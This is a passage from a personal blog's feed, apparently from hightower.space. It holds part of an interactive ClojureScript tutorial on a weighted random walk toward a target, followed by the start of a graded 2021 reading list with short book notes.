&lt;h3 id="the-algorithm">The Algorithm&lt;/h3>
&lt;p>What algorithm would help us get to the target location as directly as possible? A basic algorithm is:&lt;/p>
&lt;ol>
&lt;li>Randomly choose a direction and take a step in that direction&lt;/li>
&lt;li>Determine whether the step brings us closer to the target&lt;/li>
&lt;li>If the step took us closer to the target, make it more likely to choose that direction in the future, otherwise make it less likely&lt;/li>
&lt;/ol>
&lt;h3 id="the-data-structure">The Data Structure&lt;/h3>
&lt;p>Perhaps equally as important as the algorithm is the data structure used to track the steps we&amp;rsquo;ve taken and their results. For this post, I&amp;rsquo;ve written the algorithm using &lt;a href="https://clojurescript.org/">ClojureScript&lt;/a> so I&amp;rsquo;m using a &lt;a href="https://cljs.github.io/api/syntax/#map">map&lt;/a> which looks like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-clojure" data-lang="clojure">&lt;span style="display:flex;">&lt;span>{&lt;span style="color:#48b685">:North&lt;/span> &lt;span style="color:#f99b15">1&lt;/span> &lt;span style="color:#48b685">:East&lt;/span> &lt;span style="color:#f99b15">1&lt;/span> &lt;span style="color:#48b685">:South&lt;/span> &lt;span style="color:#f99b15">2&lt;/span> &lt;span style="color:#48b685">:West&lt;/span> &lt;span style="color:#f99b15">3&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The keys of the map are the possible directions and the values are the weights for that direction.&lt;/p>
&lt;p>At step 1 in the algorithm (when we randomly choose a direction), we use the weights to determine the likelihood of a direction being chosen. For example, given the map above, we would randomly choose a direction where &lt;code>:South&lt;/code> is two times are likely to be chosen as &lt;code>:North&lt;/code> and &lt;code>:East&lt;/code> and where &lt;code>:West&lt;/code> is three times more likely than &lt;code>:North&lt;/code> and &lt;code>:East&lt;/code>. The way this is actually implemented, we take the map of directions and their weights and generate an array where each direction is repeated as many times as the weight. So, using the map above as an example, we would have:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-clojure" data-lang="clojure">&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#48b685">:North&lt;/span> &lt;span style="color:#48b685">:East&lt;/span> &lt;span style="color:#48b685">:South&lt;/span> &lt;span style="color:#48b685">:South&lt;/span> &lt;span style="color:#48b685">:West&lt;/span> &lt;span style="color:#48b685">:West&lt;/span> &lt;span style="color:#48b685">:West&lt;/span>]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We then randomly choose one of these to determine in which direction we will take a step.&lt;/p>
&lt;p>At step 3 of the algorithm (where we record feedback about the step), we update the map with the directions in it according to whether or not the step brought us closer to the target. So say our direction map is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-clojure" data-lang="clojure">&lt;span style="display:flex;">&lt;span>{&lt;span style="color:#48b685">:North&lt;/span> &lt;span style="color:#f99b15">1&lt;/span> &lt;span style="color:#48b685">:East&lt;/span> &lt;span style="color:#f99b15">1&lt;/span> &lt;span style="color:#48b685">:South&lt;/span> &lt;span style="color:#f99b15">2&lt;/span> &lt;span style="color:#48b685">:West&lt;/span> &lt;span style="color:#f99b15">3&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We take a step &lt;code>:North&lt;/code> and this takes us closer to the target. So, we now want to make it more likely to take another step &lt;code>:North&lt;/code>, so we increment the value for &lt;code>:North&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-clojure" data-lang="clojure">&lt;span style="display:flex;">&lt;span>{&lt;span style="color:#48b685">:North&lt;/span> &lt;span style="color:#f99b15">2&lt;/span> &lt;span style="color:#48b685">:East&lt;/span> &lt;span style="color:#f99b15">1&lt;/span> &lt;span style="color:#48b685">:South&lt;/span> &lt;span style="color:#f99b15">2&lt;/span> &lt;span style="color:#48b685">:West&lt;/span> &lt;span style="color:#f99b15">3&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is the interesting part of the whole algorithm! Given a direction map, the direction of the most recent step, and whether or not that step brought you closer to the target: How do you update the direction map to best approach the destination?&lt;/p>
&lt;h3 id="the-code">The Code&lt;/h3>
&lt;p>Below is &lt;em>interactive&lt;/em> code that sets the context for this problem. Some of the less important functionality is hidden, but feel free to edit what is visible. If you scroll below the code blocks, you will see an informed, random walk based on the code. Enjoy exploring!&lt;/p>
&lt;link rel="stylesheet" type="text/css" href="https://storage.googleapis.com/app.klipse.tech/css/codemirror.css">
&lt;script>
window.klipse_settings = {
selector: '.cljs'
};
&lt;/script>
&lt;pre hidden="hidden">&lt;code class="cljs">
(def canvas-id (atom "canvas"))
(defn draw-line
[coord1 coord2]
(let [canvas (js/document.getElementById @canvas-id)
ctx (.getContext canvas "2d")]
(doto ctx
(.moveTo (first coord1) (second coord1))
(.lineTo (first coord2) (second coord2))
(.stroke))))
(def step-count 0)
(defn get-dist [loc]
(Math/sqrt
(+
(Math/pow
(- (loc 0) (target 0))
2)
(Math/pow
(- (loc 1) (target 1))
2))))
(defn clear-canvas []
(let [canvas (js/document.getElementById @canvas-id)
ctx (.getContext canvas "2d")]
(set! (.-fillStyle ctx) "#777")
(doto ctx
(.beginPath)
(.rect 0 0 canvas.width canvas.height)
(.fill))))
(defn setup [start]
(clear-canvas)
(let [canvas (js/document.getElementById @canvas-id)
ctx (.getContext canvas "2d")]
(set! (.-fillStyle ctx) "#eee")
(set! (.-font ctx) "bold 13px Arial")
(doto ctx
(.beginPath)
(.arc (first start) (second start) 4 0 (* 2 Math.PI))
(.fill)
(.fillText "x" (first target) (second target)))))
(defn draw-steps [steps]
(map #(draw-line (first %) (second %)) (partition 2 1 steps)))
(defn print-output [step-count success?]
(let [message (if (true? success?)
(str "Finished in " step-count " steps.")
(str "Stopped after " step-count " steps."))]
(-> js/document
(.getElementById "output")
(.-innerHTML)
(set! message))))
&lt;/code>&lt;/pre>
Here are some of the underlying functions used to walk around the canvas.
For starters, I recommend you skip this code block to the next, more interesting one below.
&lt;pre>&lt;code class="cljs">
(def step-length 10)
(def max-step-count 1000)
(def dirs {:North 2 :East 2 :South 2 :West 2})
(defn make-weighted-list [dirs]
(flatten (map #(repeat (max (second %) 0) (first %)) dirs)))
(defn get-dir [dirs]
(rand-nth (make-weighted-list dirs)))
(defn get-next-loc [current dir]
(case dir
:North [(current 0) (- (current 1) step-length)]
:East [(+ (current 0) step-length) (current 1)]
:South [(current 0) (+ (current 1) step-length)]
:West [(- (current 0) step-length) (current 1)]))
(defn opposite-dir [dir]
(case dir
:North :South
:East :West
:South :North
:West :East))
(defn walk [start dirs]
(loop [current start
dist (get-dist start)
dirs dirs
steps [start]]
(if (or (= current target) (> (count steps) max-step-count))
steps
(let [dir (get-dir dirs)
next-loc (get-next-loc current dir)
new-dist (get-dist next-loc)
closer? (neg? (- new-dist dist))
new-dirs (update-dirs dirs dir closer?)]
(recur next-loc new-dist new-dirs (conj steps next-loc))))))
(defn draw []
(setup start)
(let [steps (walk start dirs)
success? (= (last steps) target)]
(print-output (count (draw-steps steps)) success?)))
&lt;/code>&lt;/pre>
This is the interesting stuff! The &lt;code>update-dirs&lt;/code> function is the one we use to update the weights given to each of the directions
(thus, making it more or less likely for the walker to walk in that direction).
If the walker doesn't find the target in 1,000 steps, it will stop (but you can change this by changing the &lt;code>max-step-count&lt;/code> variable in the code block above).
Feel free to edit the code below to see how this changes the walker's behaviour:
&lt;pre>&lt;code class="cljs">
(def start [50 50])
(def target [300 300])
(def dir-increment 1)
(defn update-dirs [dirs dir closer?]
(if (true? closer?)
(update-in dirs [dir] #(+ % dir-increment))
(update-in dirs [dir] #(max 1 (- % dir-increment)))))
&lt;/code>
&lt;/pre>
&lt;pre hidden="hidden">&lt;code class="cljs">
(draw)
(-> "generate-button"
(js/document.getElementById)
(.addEventListener "click" (fn [e]
(draw))))
&lt;/code>&lt;/pre>
&lt;button class="button" id="generate-button">Redraw&lt;/button>
&lt;span id="output">&lt;/span>
&lt;br>
&lt;canvas id="canvas" width="500" height="500">&lt;/canvas>
&lt;script src="https://storage.googleapis.com/app.klipse.tech/plugin/js/klipse_plugin.js">
&lt;/script>
&lt;p>The default &lt;code>update-dirs&lt;/code> function is pretty bad (it rarely finds the target).&lt;/p>
&lt;p>What if you update it to:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-clojure" data-lang="clojure">&lt;span style="display:flex;">&lt;span>(&lt;span style="color:#815ba4">defn &lt;/span>&lt;span style="color:#ef6155">update-dirs&lt;/span> [&lt;span style="color:#ef6155">dirs&lt;/span> &lt;span style="color:#ef6155">dir&lt;/span> &lt;span style="color:#ef6155">closer?&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#815ba4">if &lt;/span>(true? &lt;span style="color:#ef6155">closer?&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#06b6ef">update-in&lt;/span> &lt;span style="color:#ef6155">dirs&lt;/span> [&lt;span style="color:#ef6155">dir&lt;/span>] &lt;span style="color:#5bc4bf">#&lt;/span>(+ &lt;span style="color:#ef6155">%&lt;/span> &lt;span style="color:#ef6155">dir-increment&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#06b6ef">update-in&lt;/span> (&lt;span style="color:#06b6ef">update-in&lt;/span> &lt;span style="color:#ef6155">dirs&lt;/span> [&lt;span style="color:#ef6155">dir&lt;/span>] &lt;span style="color:#5bc4bf">#&lt;/span>(- &lt;span style="color:#ef6155">%&lt;/span> &lt;span style="color:#ef6155">dir-increment&lt;/span>)) [(&lt;span style="color:#06b6ef">opposite-dir&lt;/span> &lt;span style="color:#ef6155">dir&lt;/span>)] &lt;span style="color:#5bc4bf">#&lt;/span>(+ &lt;span style="color:#ef6155">%&lt;/span> &lt;span style="color:#ef6155">dir-increment&lt;/span>))))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>2021 Reading List</title><link>https://hightower.space/posts/2021-reading-list/</link><pubDate>Fri, 01 Jan 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2021-reading-list/</guid><description>&lt;section>
Books read in 2021: 73
&lt;ol>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Gods and Robots: Myths, Machines, and Ancient Dreams of Technology&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Adrienne Mayor&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Enjoyable read highlighting the history of machines and their interactions with man.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Planet Narnia: The Seven Heavens in the Imagination of C. S. Lewis&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Michael Ward&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Amazing work suggesting a compelling interpretive framework for &lt;em>The Chronicles of Narnia&lt;/em>.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Horse and His Boy&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>One of my favorite of the Narniad&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>King Solomon&amp;rsquo;s Mines&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>H. Rider Haggard&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun, well-written adventure story&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Visual Explanations: Images and Quantities, Evidence and Narrative&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Edward R. Tufte&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting read with some helpful principles for good visual design. The discussion of the Challenger explosion is fascinating.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Elements of Style&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>William Strunk Jr.&lt;/li>
&lt;li>E. B. White&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good read even for those who are not writers by trade or hobby.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Talking God: Philosophers on Belief&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Gary Gutting&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read introducing philosophical arguments for/against the existence of a God.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Bible Tells Me So: Why Defending Scripture Has Made Us Unable to Read It&lt;/i> [D&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Peter Enns&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Raises some good (and some poor) arguments against considering the Bible as a reliable source of information. My primary complaints are: (1) he does very little to prove any of his claims and (2) he seems very quick to listen to the claims of liberal scholars and slow to consider any conservative interpretation.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Black Swan: Second Edition: The Impact of the Highly Improbable&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Nassim Nicholas Taleb&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very insightful and impactful book; a bit repetitive and, at times, rambling - but he raises some great points on the whole.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Confessions&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Saint Augustine&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>One of the most worshipful books I have ever read. Highly recommended.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Delighting in the Trinity: An Introduction to the Christian Faith&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Michael Reeves&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic book!&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Common Rule: Habits of Purpose for an Age of Distraction&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Justin Earley&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great book&lt;/li>
&lt;li>Practical, helpful&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Introduction to Algorithms (chapters 1 - 4)&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>n/a&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Read through the first four chapters with friends.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Antifragile: Things That Gain From Disorder&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Nassim Nicholas Taleb&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating read that has implications on numerous areas of life (engineering, programming, finance, politics)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Common Sense; Addressed to the Inhabitants of America, on the Following Interesting Subjects.&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Thomas Paine&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very well-written treatise on the case for liberty of the thirteen colonies from Great Britain practically, politically, and theological&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Great Debate: Advocates and Opponents of the American Constitution&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Thomas L. Pangle&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic series of lectures investigating the debate between the Federalists and Antifederalists (and oft forgotten period of American history)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Feeding the Mind&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Lewis Carrol&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun, short read drawing analogies between the feeding of our physical bodies and that of the mind&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>One to One Bible Reading&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David Helm&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting book highlighting the value of reading the bible with others (whether Christian or not)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Knowledge and Christian Belief&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Alvin Plantinga&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great introduction to Epistemology as it relates to Christian Belief showing the Christian belief can be rational (having warrant and proper function)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Loaded: A Disarming History of the Second Amendment&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Roxanne Dunbar-Ortiz&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Insightful history of gun rights, gun control, and gun ownership in America (primarily noting the racial and ethnic abuse that necessitated the use of guns)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>More Guns, Less Crime: Understanding Crime and Gun Control Laws&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John R. Lott Jr.&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Insightful work presenting numerous statistics showing, as the title implies, that the more guns possessed by private citizens, the less crime is likely to occur in a given area&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Masterpieces of the Imaginative Mind: Literature&amp;rsquo;s Most Fantastic Work&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Eric S. Rabkin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating foray into literature of the past 4-500 years&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Time Machine: An Invention&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>H. G. Wells&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating and fun science fiction story which introduces the idea of time travel and contains some fascinating political commentary&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Island of Doctor Moreau&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>H. G. Wells&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Gruesome and violent read full of commentary and analysis on the nature of man vs. animals, the role of science, and the role of religion/tradition in a society&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>War of the Worlds&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>H. G. Wells&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun, imaginative read which does a fantastic job of describing how human society would respond to a sudden invasion - not as good as his other works, though&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Out of the Silent Planet&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Amazing work of science fiction (which certainly is influenced by and is a spin on H. G. Wells&amp;rsquo; &lt;em>War of the Worlds&lt;/em>) pondering the interaction of a fallen man with unfallen creatures on Malacandra&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Abolition of Man&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>An amazing work critiquing moral subjectivism - I think he is, at times, oversimplifying his opponents&amp;rsquo; views and oversimplifying the evidence in favor of his own, but still think it is a thought-provoking read&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Gospel Primer for Christians: Learning to See the Glories of God&amp;rsquo;s Love&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Milton Vincent&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good work celebrating (and encouraging us to daily celebrate), in various forms and genres, the beauty of God the Father&amp;rsquo;s love for us as shown in the Son, Jesus Christ, and mediated by the Holy Spirit.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>From the Earth to the Moon&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jules Verne&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Mild interesting story in Verne&amp;rsquo;s style&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Amazing Grace in the Life of William Wilberforce&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John Piper&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating biography of a wonderful man who fought to end the slave trade and slavery in England&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Modern Introductory Analysis&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Mary P. Dolciani&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good math text that is approachable, readable, and consistent. Does a great job of introducing the value and uses of vectors.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>What If?: Serious Scientific Answers to Absurd Hypothetical Questions&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Randall Munroe&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very fun read which is &lt;em>very&lt;/em> well communicated and shows the remarkable power of mathematics to describe even &amp;ldquo;Absurd Hypothetical Questions&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Simon Singh&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Informative and clearly written&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Software Design Decoded: 66 Ways Experts Think&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Marian Petre&lt;/li>
&lt;li>André van der Hoek&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Highly recommended. Insightful, simple, and practical proverbs for engineers, project managers, and creators of all kinds.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Benedict Option&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rod Dreher&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very insightful read which offers, I believe, an accurate assessment of the state of the Western World and poignant solutions for escaping and weathering this maelstrom.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Lion, the Witch, and the Wardrobe&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic read (as always with Lewis).&lt;/li>
&lt;li>Peter held the door closed but did not shut it; for, of course, he remembered, as every sensible person does, that you should never never shut yourself up in a wardrobe.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Moon Is a Harsh Mistress&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Robert A. Heinlein&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Honestly, one of the best works of science fiction I have ever read. Involved questions about AI, ethics, political theory, and mathematics. Very fun and fascinating read.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Wrong Shape&lt;/i> [D]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>G. K. Chesteron&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Perhaps I missed an underlying theme of this work (I did listen to it while otherwise occupied), but I did not find this to be one of GK&amp;rsquo;s better works.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Prince Caspian&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not one of Lewis&amp;rsquo; better works. I appreciated it a bit more this time, but still feels rushed and hastily written.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Whose Body?&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dorothy L. Sayers&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not bad as far as murder mysteries are concerned.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Unnatural Death&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dorothy L. Sayers&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not bad as far as murder mysteries are concerned.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Cloud of Witnesses&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dorothy L. Sayers&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not bad as far as murder mysteries are concerned.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Necessity of Reforming the Church&lt;/i> [B-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John Calvin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good work presenting the complaints of the reformers against the Roman Catholic Church. Interesting to hear the complaints in their own words and fascinating how much John Calvin quotes from the church fathers.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Little Book on the Christian Life&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John Calvin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good book. Recommended for Christians.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Five Red Herrings&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dorothy L. Sayers&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very fun and tantalizing read. Enjoyed this one more than some of the others.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Desiring the Kingdom: Worship, Worldview, and Cultural Formation (Cultural Liturgies)&lt;/i> [A]&lt;/summary>
Author(s):
